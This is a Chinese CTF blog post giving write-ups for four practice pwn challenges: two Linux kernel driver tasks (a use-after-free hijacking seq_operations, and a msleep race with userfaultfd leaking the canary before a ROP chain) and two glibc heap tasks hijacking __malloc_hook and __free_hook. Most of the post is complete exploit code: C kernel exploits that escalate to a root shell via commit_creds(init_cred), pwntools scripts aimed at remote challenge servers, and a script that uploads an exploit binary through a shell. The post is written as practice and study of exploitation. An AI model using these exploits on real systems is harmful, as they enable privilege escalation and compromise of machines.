practice Ⅱ
196082 慢慢好起来

Kernel pwn1

题目非常简单,就是一道非常普通的内核堆题,不过由于思想有点活跃导致开始一直在往复杂的想去了

吐槽一下:为什么cpio格式的要用img结尾我挂载了很久挂载不上,知道file一看发现是cpio格式

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall test1_open(inode *inode, file *filp)
{
char *v2; // rax
int result; // eax

((void (__fastcall *)(inode *, file *))_fentry__)(inode, filp);
v2 = (char *)kmem_cache_alloc_trace(kmalloc_caches[5], 0x24000C0LL, 0x20LL);
length = 0x20;
test1_buffer = v2;
result = 0;
used = 0;
return result;
}
1
2
3
4
5
6
7
int __fastcall test1_release(inode *inode, file *filp)
{
_fentry__();
if ( test1_buffer )
kfree(test1_buffer, filp);
return 0;
}

这里的漏洞点出在这个UAF上面(开始我还一直在找堆溢出)。因为没注意到在启动脚本中是没有开启kaslr的所以我在用tty_structsk_buff这些东西来泄漏基地址,然后泄漏栈地址完成栈迁移。但是发现这些结构体的文件都无法打开,然后仔细一看启动脚本发现并没有开启地址随机化,所以直接开搞就行。

利用分析

这里只需要seq_operations结构体即可,modify_ldt利用 这篇文章中提到过这个结构体的使用,可以去看一下这里就不再赘述了。

题目比较简单直接放exp了

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>

void errExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void get_shell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int seq_fd;
unsigned long pop_rdi = 0xffffffff811cef9d;
unsigned long init_cred = 0xffffffff81e497c0;
unsigned long commit_creds = 0xffffffff810a1910;
unsigned long swapgs = 0xffffffff81063844;
unsigned long iretq = 0xffffffff81841297;
unsigned long ret = 0xffffffff8100006f;

int main()
{
signal(SIGSEGV, get_shell);
save_status();

char *buf = malloc(0x2000);
unsigned long *pointer_buf = malloc(0x2000);

int fd = open("/dev/test1", O_RDWR);
if (fd < 0)
{
puts("[*]open test1 error!");
exit(0);
}

int fd1 = open("/dev/test1", O_RDWR);
if (fd1 < 0)
{
puts("[*]open test1 error!");
exit(0);
}

write(fd1, buf, 0x20);
close(fd1);
read(fd, buf, 0x20);

seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0)
{
errExit("failed to create stat!");
}
pointer_buf[0] = 0xffffffff81542a59;
write(fd, pointer_buf, 0x20);
__asm__(
"mov r15, 0xbeefdead\n"
"mov r14, commit_creds\n"
"mov r13, init_cred\n"
"mov r12, pop_rdi\n"
"mov rbp, ret\n"
"mov rbx, swapgs\n"
"mov r11, iretq\n"
"mov r10, iretq\n"
"mov r9, 0xbeefdead\n"
"mov r8, 0xbeefdead\n"
"xor rax, rax\n"
"mov rcx, 0xbeefdead\n"
"mov rdx, 8\n"
"mov rsi, rsp\n"
"mov rdi, seq_fd\n"
"syscall");

return 0;
}

然后我之前的上传脚本有点问题,所以修改了一下,这里放一下以后方便拿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from sys import argv

r = remote('nc.eonew.cn', 10101)
context.log_level = 'debug'


def send_file(name, sym):
file = read(name)
f = b64e(file)
for i in range(100, 1500):
if len(f) % (1500-i) == 0:
break
size = i
print(len(f))
r.sendlineafter(sym, "cd /tmp")
r.sendlineafter(sym, "rm *")
for i in range(len(f) // size + 1):
log.info("Sending chunk {}/{}".format(i, len(f)//size))
r.sendlineafter(
sym, "echo -n '{}'>>/tmp/exp.gz.b64".format(f[i*967:(i*967)+967]))
r.sendlineafter(sym, "cat /tmp/exp.gz.b64 | base64 -d >/tmp/exp.gz")
r.sendlineafter(sym, "gzip -d /tmp/exp.gz")
r.sendlineafter(sym, "chmod +x /tmp/exp")


def exploit():
sym = "$"
if len(argv) == 2:
if argv[1] == "root":
sym = "#"
elif argv[1] == "user":
sym = "$"
else:
print("user or root?")
exit()
os.system('rm exp.gz')
os.system('cp ./exp ./exp.bak')
os.system('gzip ./exp')
os.system('mv exp.bak exp')
send_file("exp.gz", sym=sym)

r.interactive()


if __name__ == "__main__":
exploit()

fog

一道比较简单的堆题,不过需要利用一点特性,恰好是我以往不知道的特性。

fast bin合并机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/

else
{
idx = largebin_index (nb);
if (atomic_load_relaxed (&av->have_fastchunks))
malloc_consolidate (av);
}

_int_malloc中存在一个我一直没有注意过的细节,可以看到如果我们malloc的size大于smallbin的size就会进行malloc_consolidate,也就是如果size位large bin范围就会进入合并。并且这一个特性在高版本的libc中也同样存在。

题目分析

这里题目比较简单,就是普通的菜单题

1
2
3
4
5
6
7
8
__int64 __fastcall sub_B1B(void *a1, int a2)
{
__int64 result; // rax

LODWORD(result) = read(0, a1, a2);
*((_BYTE *)a1 + (int)result) = 0;
return (unsigned int)result;
}

分析发现这个函数存在off by null漏洞,在create和edit中都有调用。
这里还需要了解有另外两点,一是在进行fopen时会产生一个size位0x230的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_new_file_init_internal (&new_f->fp);
if (_IO_file_fopen ((FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);

_IO_un_link (&new_f->fp);
free (new_f);
return NULL;
}

并且在close这里会free掉,还有就是在printf时会产生一个size位large bin范围的chunk,不过这一点我确实没找到相应源码,有师傅知道可以留言一下,并且我在自己写一个测试脚本时也没有产生,但是调试题目时发现确实存在一个size位0x410的chunk。

知道了上面的内容就很简单了,使用堆合并得到UAF的堆块,随后劫持__malloc_hook位one_gadget即可getshell

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

elf = ELF('./fog')
# r = process('./fog')
r = remote('nc.eonew.cn', 10006)
libc = ELF('./libc-2.23.so')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']


def create(data_size, data=b'\n'):
r.recvuntil(b'Your choice?')
r.sendline(b'1')
r.recvuntil(b'What size do you want?')
r.sendline(bytes(str(data_size), encoding='utf8'))
r.recvuntil(b'Content: ')
r.send(data)


def delete(idx):
r.recvuntil(b'Your choice?')
r.sendline(b'2')
r.recvuntil(b'Which one do you want to delete?')
r.sendline(bytes(str(idx), encoding='utf8'))


def edit(idx, data):
r.recvuntil(b'Your choice?')
r.sendline(b'3')
r.recvuntil(b'Which one do you want to modify?')
r.sendline(bytes(str(idx), encoding='utf8'))
r.recvuntil(b'What do you want to input?')
r.send(data)


def show(idx):
r.recvuntil(b'Your choice?')
r.sendline(b'4')
r.recvuntil(b'Which one do you want to see?')
r.sendline(bytes(str(idx), encoding='utf8'))


create(0x68) # 0
create(0x68) # 1
create(0x68) # 2
create(0x68) # 3
create(0x68) # 4
create(0x68) # 5
create(0x68) # 6
create(0x68) # 7
create(0x68) # 8
create(0x68) # 9
create(0x68) # 10
create(0x68) # 11
create(0x68) # 12
create(0x68, b'\x00'*0x30+flat(0, 0x31)) # 13
create(0x68) # 14


for i in range(5):
delete(i)

delete(13)
delete(12)
delete(11)
delete(10)
delete(9)

show(5)
r.recvuntil(b'Your choice?')
r.sendline(b'5')
edit(8, b'a'*0x60+p64(0x3f0))
r.recvuntil(b'Your choice?')
r.sendline(b'6')

create(0x68) # 0
create(0x68) # 1
create(0x68) # 2
create(0x68) # 3
create(0x68) # 4

show(5)
r.recvuntil(b'Content : ')
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x3c4b78+0x29000
print(hex(libc_base))
create(0x68) # 9
delete(5)
edit(9, p64(libc_base+libc.symbols['__malloc_hook']-0x23))
create(0x68) # 5
create(0x68, b'\x00'*0x13+p64(0x3f42a+libc_base)) # 10
print(hex(libc_base+libc.symbols['__malloc_hook']))
print(hex(0x3f42a+libc_base))
# gdb.attach(r, 'b*$rebase(0xC5D)')
r.recvuntil(b'Your choice?')
r.sendline(b'1')

# gdb.attach(r,'b*$rebase(0xC5D)')

r.interactive()

Time heap

题目非常简单,存在很明显的UAF,这里就不再分析了,直接给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

elf = ELF('./time_heap')
# r = process('./time_heap')
r = remote('nc.eonew.cn', 10015)
libc = ELF('./libc-2.31.so')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(size, contents, remark):
r.recvuntil(b'Your choice: ')
r.sendline(b'1')
r.recvuntil(b'Size: ')
r.sendline(bytes(str(size), encoding='utf8'))
r.recvuntil(b'Content: ')
r.send(contents)
r.recvuntil(b'Remark: ')
r.send(remark)


def delete(idx):
r.recvuntil(b'Your choice: ')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf8'))


def edit(idx, contents, remark):
r.recvuntil(b'Your choice: ')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf8'))
r.recvuntil(b'Content: ')
r.send(contents)
r.recvuntil(b'Remark: ')
r.send(remark)


def show(idx):
r.recvuntil(b'Your choice: ')
r.sendline(b'4')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf8'))


create(0x400, b'\n', b'\n')
for i in range(7):
delete(0)
edit(0, flat([0]*2), b'\n')
delete(0)
show(0)
r.recvuntil("Content: ")
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x1ecbe0+0x30000
print(hex(libc_base))
# gdb.attach(r)

free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

edit(0, p64(free_hook), flat(0))
create(0x400, b'/bin/sh\x00', flat(system))
print(hex(free_hook))
delete(1)

# gdb.attach(r)

r.interactive()

kernel pwn2

题目比较简单,就是普通的内核栈题

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall test2_write(__int64 a1, __int64 a2, __int64 a3)
{
__int64 size; // rdx
char *v4; // r12
__int64 v5; // rbx
__int64 result; // rax
__int64 v7; // rbx
char *v8; // r12

_fentry__(a1, a2, a3);
if ( (unsigned __int64)((int)used + size) <= 0x100 )
{
v7 = size;
msleep(2000LL);
v8 = (char *)&test2_buffer + (int)used;
_check_object_size(v8, v7, 0LL);
copy_from_user(v8, a2, v7);
result = v7;
LODWORD(used) = v7 + used;
}
else
{
v4 = (char *)&test2_buffer + (int)used;
v5 = 0x100 - (int)used;
_check_object_size(v4, v5, 0LL);
copy_from_user(v4, a2, v5);
result = v5;
LODWORD(used) = 0x100;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall test2_read(__int64 a1, __int64 a2)
{
unsigned __int64 size; // rdx
unsigned __int64 v3; // rbx

((void (*)(void))_fentry__)();
v3 = 0LL;
if ( (int)used <= size )
{
if ( (int)used > 0 )
return ((__int64 (__fastcall *)(__int64))get_buf)(a2);
}
else if ( (int)used > 0 )
{
v3 = size;
LODWORD(used) = used - size;
if ( size > 0x100 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x100LL);
BUG();
}
_check_object_size(&test2_buffer, size, 1LL);
copy_to_user(a2, &test2_buffer, v3);
}
return v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall get_buf(__int64 a1, __int64 a2)
{
__int64 v2; // rbp
__int64 result; // rax
_QWORD v4[36]; // [rsp-120h] [rbp-120h] BYREF

_fentry__();
v4[35] = v2;
v4[32] = __readgsqword(0x28u);
if ( (unsigned __int64)(int)used > 0x200 )
{
fortify_panic("memcpy");
return test2_read((__int64)"memcpy", a2);
}
else
{
memcpy(v4, &test2_buffer, (int)used);
msleep(2000LL);
copy_to_user(a1, v4, used);
result = (int)used;
LODWORD(used) = 0;
}
return result;
}

这就是驱动比较重要的三个函数。

get_buf函数中会将全局变量的内容复制到栈上,然后再将栈上的内容发送给用户态。从头到尾其实看不出来什么问题,不过题目这里用msleep函数就已经算是明示存在条件竞争了。

利用分析

如果我们可以在get_bufmemcpy之后以及copy_to_user之前就可以泄漏出栈上的内容。

具体的办法就是两个线程分别write并且分别进入if内的代码块和else内的代码块,首先在memcpy执行之前进入else的代码块修改used的为0x100,随后在copy_to_user之前执行完if内的代码块,那么此时used为0x100+size,所以此时可以泄漏出canary和kernel基地址了。

有了上面泄漏的思路之后实现栈溢出也就很简单了这里就不提了

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void get_shell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void errExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void RegisterUserfault(void *fault_page, void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page;
ur.range.len = 0x1000;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL, handler, (void *)uffd);
if (s != 0)
errExit("[-] pthread_create");
}

void *sleep_handle(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long)arg;
puts("[+] sleep handler created");

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] sleep handler unblocked");

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(4);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
errExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
// *(page + 0x201) = 0x64;

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address &
~(0x1000 - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uc) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] sleep handler done");
return NULL;
}
}

unsigned long prepare_kernel_cred = NULL;
unsigned long commit_creds = NULL;
unsigned long pop_rdi = 0xffffffff810835c0;
unsigned long swapgs_pop = 0xffffffff8106c984;
unsigned long iretq = 0xffffffff81c014f5;
unsigned long init_cred = NULL;
unsigned long canary;

void *overflow_handle(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long)arg;
puts("[+] sleep handler created");

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] sleep handler unblocked");

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(4);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
errExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
// *(page + 0x201) = 0x64;

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address &
~(0x1000 - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uc) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] sleep handler done");
return NULL;
}
}

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
if (i / 2 < 10)
{
printf("%d ", i / 2);
}
else if (i / 2 < 100)
{
printf("%d ", i / 2);
}
else
{
printf("%d", i / 2);
}
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

int fd;

int write_handler(char *buf)
{
sleep(2);
puts("now change uesed");
write(fd, buf, 0x200);
}

int control_handler(char *buf)
{
write(fd, buf, 0xf0);
}

int read_handler(char *buf)
{
sleep(1);
puts("now read buffer");
read(fd, buf, 0x200);
}

int main()
{
save_status();
signal(SIGSEGV, get_shell);
setvbuf(stdout, 2, 0, 0);

fd = open("/dev/test2", O_RDWR);
if (fd < 0)
{
puts("[-] open test2 error!");
}

char *buf = malloc(0x2000);
char *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
char *page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
pthread_t thr[2];
unsigned long kernel_addr;
unsigned long kernel_base;
unsigned long kernel_offset;

RegisterUserfault(page, sleep_handle);
write(fd, buf, 0x8);
sleep(2);
// read_handler(buf);
pthread_create(&thr[1], NULL, write_handler, buf);
pthread_create(&thr[0], NULL, control_handler, buf);
// write(fd, page, 0xf0);
read_handler(buf);
// pthread_join(thr[0], NULL);
pthread_join(thr[1], NULL);

canary = *(unsigned long *)(buf + 32 * 8);
kernel_addr = *(unsigned long *)(buf + 47 * 8);
kernel_base = kernel_addr - 0x426939;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("[+] get canary: %p\n", canary);
printf("[+] get kernel base: %p\n", kernel_base);

prepare_kernel_cred = 0xb9550 + kernel_base;
commit_creds = 0xb91e0 + kernel_base;
init_cred = 0x165b400 + kernel_base;
swapgs_pop = swapgs_pop + kernel_offset;
iretq = iretq + kernel_offset;
pop_rdi = pop_rdi + kernel_offset;

// RegisterUserfault(page2, overflow_handle);
pthread_create(&thr[0], NULL, write_handler, buf);
sleep(1);
int i = 0;
*(unsigned long *)(buf + ((i++) * 8)) = canary;
*(unsigned long *)(buf + ((i++) * 8)) = canary;
*(unsigned long *)(buf + ((i++) * 8)) = canary;
*(unsigned long *)(buf + ((i++) * 8)) = canary;
*(unsigned long *)(buf + ((i++) * 8)) = pop_rdi;
*(unsigned long *)(buf + ((i++) * 8)) = init_cred;
*(unsigned long *)(buf + ((i++) * 8)) = commit_creds;
*(unsigned long *)(buf + ((i++) * 8)) = swapgs_pop;
*(unsigned long *)(buf + ((i++) * 8)) = swapgs_pop;
*(unsigned long *)(buf + ((i++) * 8)) = iretq;
*(unsigned long *)(buf + ((i++) * 8)) = get_shell;
*(unsigned long *)(buf + ((i++) * 8)) = user_cs;
*(unsigned long *)(buf + ((i++) * 8)) = user_rflags;
*(unsigned long *)(buf + ((i++) * 8)) = user_sp;
*(unsigned long *)(buf + ((i++) * 8)) = user_ss;
write(fd, buf, 0xe0);
pthread_join(thr[0], NULL);

read(fd, buf, 0x200);

return 0;
}

总结

这周四道题目难度不算是很大,不过那个easy printf我确实没什么思路,有兴趣的师傅可以去看一下(然后可怜我告诉我一下)。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量